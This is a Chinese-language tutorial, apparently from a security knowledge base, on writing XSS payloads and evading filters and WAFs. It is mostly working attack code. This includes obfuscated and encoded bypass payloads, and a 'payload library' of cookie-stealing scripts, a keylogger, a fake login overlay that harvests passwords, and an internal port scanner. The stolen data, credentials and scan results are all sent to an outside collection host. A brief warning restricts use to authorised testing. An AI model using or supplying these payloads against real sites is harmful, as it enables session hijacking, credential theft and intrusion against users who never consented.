XSS Payload编写技巧与混淆绕过

一、Payload基础概念

XSS Payload是指用于执行跨站脚本攻击的恶意JavaScript代码。一个优秀的Payload应该具备以下特点:

1.1 基础Payload结构

最简单的XSS Payload:

<script>alert('XSS')</script>

使用事件处理器:

<img src=x onerror=alert('XSS')>

二、常见过滤器绕过技巧

2.1 大小写混淆

许多过滤器区分大小写,可以通过大小写混淆来绕过:

<ScRiPt>alert('XSS')</sCrIpT>
<IMG SRC=x OnErRoR=alert('XSS')>

2.2 双写绕过

如果过滤器只删除一次关键字,可以使用双写:

<scr<script>ipt>alert('XSS')</scr</script>ipt>
<img srsrc=x onerronerror=alert('XSS')>

2.3 编码绕过

HTML实体编码:

<img src=x onerror="alert('XSS')">

Unicode编码:

<script>\u0061\u006c\u0065\u0072\u0074('XSS')</script>

Base64编码:

<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">

2.4 注释混淆

在关键字中插入注释:

<scr/*comment*/ipt>alert('XSS')</scr/**/ipt>
<img src=x one/**/rror=alert('XSS')>

2.5 换行符绕过

<img src=x 
onerror
=
alert('XSS')>

三、高级Payload技巧

3.1 无<script>标签的Payload

<script>标签被过滤时,可以使用事件处理器:

// SVG标签
<svg onload=alert('XSS')>
<svg><animate onbegin=alert('XSS')>

// Body标签
<body onload=alert('XSS')>
<body onpageshow=alert('XSS')>

// Input标签
<input onfocus=alert('XSS') autofocus>
<input onblur=alert('XSS') autofocus><input autofocus>

// Marquee标签
<marquee onstart=alert('XSS')>

// Details标签
<details open ontoggle=alert('XSS')>

3.2 无括号的Payload

当括号被过滤时:

<script>alert`XSS`</script>
<script>onerror=alert;throw 'XSS'</script>
<script>{onerror=alert}throw 'XSS'</script>

3.3 无引号的Payload

使用String.fromCharCode或其他方法:

<script>alert(String.fromCharCode(88,83,83))</script>
<img src=x onerror=alert(/XSS/)>
<img src=x onerror=eval(/alert\x28'XSS'\x29/.source)>

3.4 短Payload

当长度受限时,使用最短的Payload:

<script src=//NJ></script>  // 最短的外部JS载入
<svg onload=alert(1)>  // 常用短Payload
<marquee onstart=alert(1)>  // 18字符

四、WAF绕过实战案例

4.1 绕过空格过滤

// 使用Tab、换行等空白字符
<img	src=x	onerror=alert('XSS')>
<img%0asrc=x%0aonerror=alert('XSS')>

// 使用斜杠
<img/src=x/onerror=alert('XSS')>

4.2 绕过等号过滤

<svg><animate attributeName%3dx onbegin%3dalert(1)>

4.3 绕过关键字检测

使用字符串拼接或其他技巧:

<script>eval('ale'+'rt(1)')</script>
<script>eval(atob('YWxlcnQoMSk='))</script>
<script>Function('ale'+'rt(1)')()</script>
<script>[]['constructor']['constructor']('alert(1)')()</script>

4.4 多重编码

// URL编码 + HTML编码
<img src=x onerror="%61%6c%65%72%74(1)">

五、实战Payload库

5.1 Cookie窃取Payload

// 基础版本
<script>
document.location='http://xss.li/collect?c='+document.cookie;
</script>

// 使用Image对象(更隐蔽)
<script>
new Image().src='http://xss.li/collect?c='+document.cookie;
</script>

// 使用fetch API
<script>
fetch('http://xss.li/collect', {
    method: 'POST',
    body: JSON.stringify({cookie: document.cookie})
});
</script>

5.2 键盘记录Payload

<script>
var keys = '';
document.onkeypress = function(e) {
    keys += e.key;
    if(keys.length > 20) {
        new Image().src='http://xss.li/collect?k='+encodeURIComponent(keys);
        keys = '';
    }
}
</script>

5.3 钓鱼Payload

<script>
var overlay = document.createElement('div');
overlay.innerHTML = `
    <div style="position:fixed;top:0;left:0;width:100%;height:100%;
                background:rgba(0,0,0,0.8);z-index:9999">
        <div style="margin:100px auto;width:400px;background:white;
                    padding:20px;border-radius:5px">
            <h3>会话已过期,请重新登录</h3>
            <input type="text" id="u" placeholder="用户名" style="width:100%">
            <input type="password" id="p" placeholder="密码" style="width:100%;margin:10px 0">
            <button onclick="steal()">登录</button>
        </div>
    </div>`;
document.body.appendChild(overlay);

function steal() {
    var u = document.getElementById('u').value;
    var p = document.getElementById('p').value;
    new Image().src='http://xss.li/collect?u='+u+'&p='+p;
    location.reload();
}
</script>

5.4 端口扫描Payload

<script>
var ports = [21, 22, 23, 25, 80, 443, 3306, 3389, 8080];
var results = [];

ports.forEach(port => {
    var img = new Image();
    img.onerror = function() { 
        results.push(port + ':open'); 
    };
    img.src = 'http://192.168.1.1:' + port;
});

setTimeout(() => {
    new Image().src = 'http://xss.li/collect?ports=' + results.join(',');
}, 5000);
</script>

警告

本文中的Payload仅用于安全研究和授权的渗透测试。未经授权对他人系统进行测试是违法行为!

六、Payload测试与优化

6.1 Payload编码工具

常用的编码工具:

6.2 Payload优化建议

  1. 测试兼容性:在不同浏览器中测试Payload
  2. 缩短长度:在长度受限的场景下优化代码
  3. 提高隐蔽性:避免使用明显的恶意代码
  4. 增加稳定性:添加异常处理机制

6.3 Payload混淆示例

原始Payload:

alert(document.cookie);

混淆后:

eval(String.fromCharCode(97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41));

最佳实践

1. 始终测试Payload的有效性
2. 根据目标环境调整编码方式
3. 使用自动化工具提高效率
4. 保持对新绕过技术的学习

七、总结

XSS Payload的编写是一门艺术,需要不断学习和实践。关键要点:

记住:技术是中性的,关键在于如何使用。请将这些知识用于提升系统的安全性!

上一篇:XSS三大类型详解 返回知识库 下一篇:Cookie窃取实战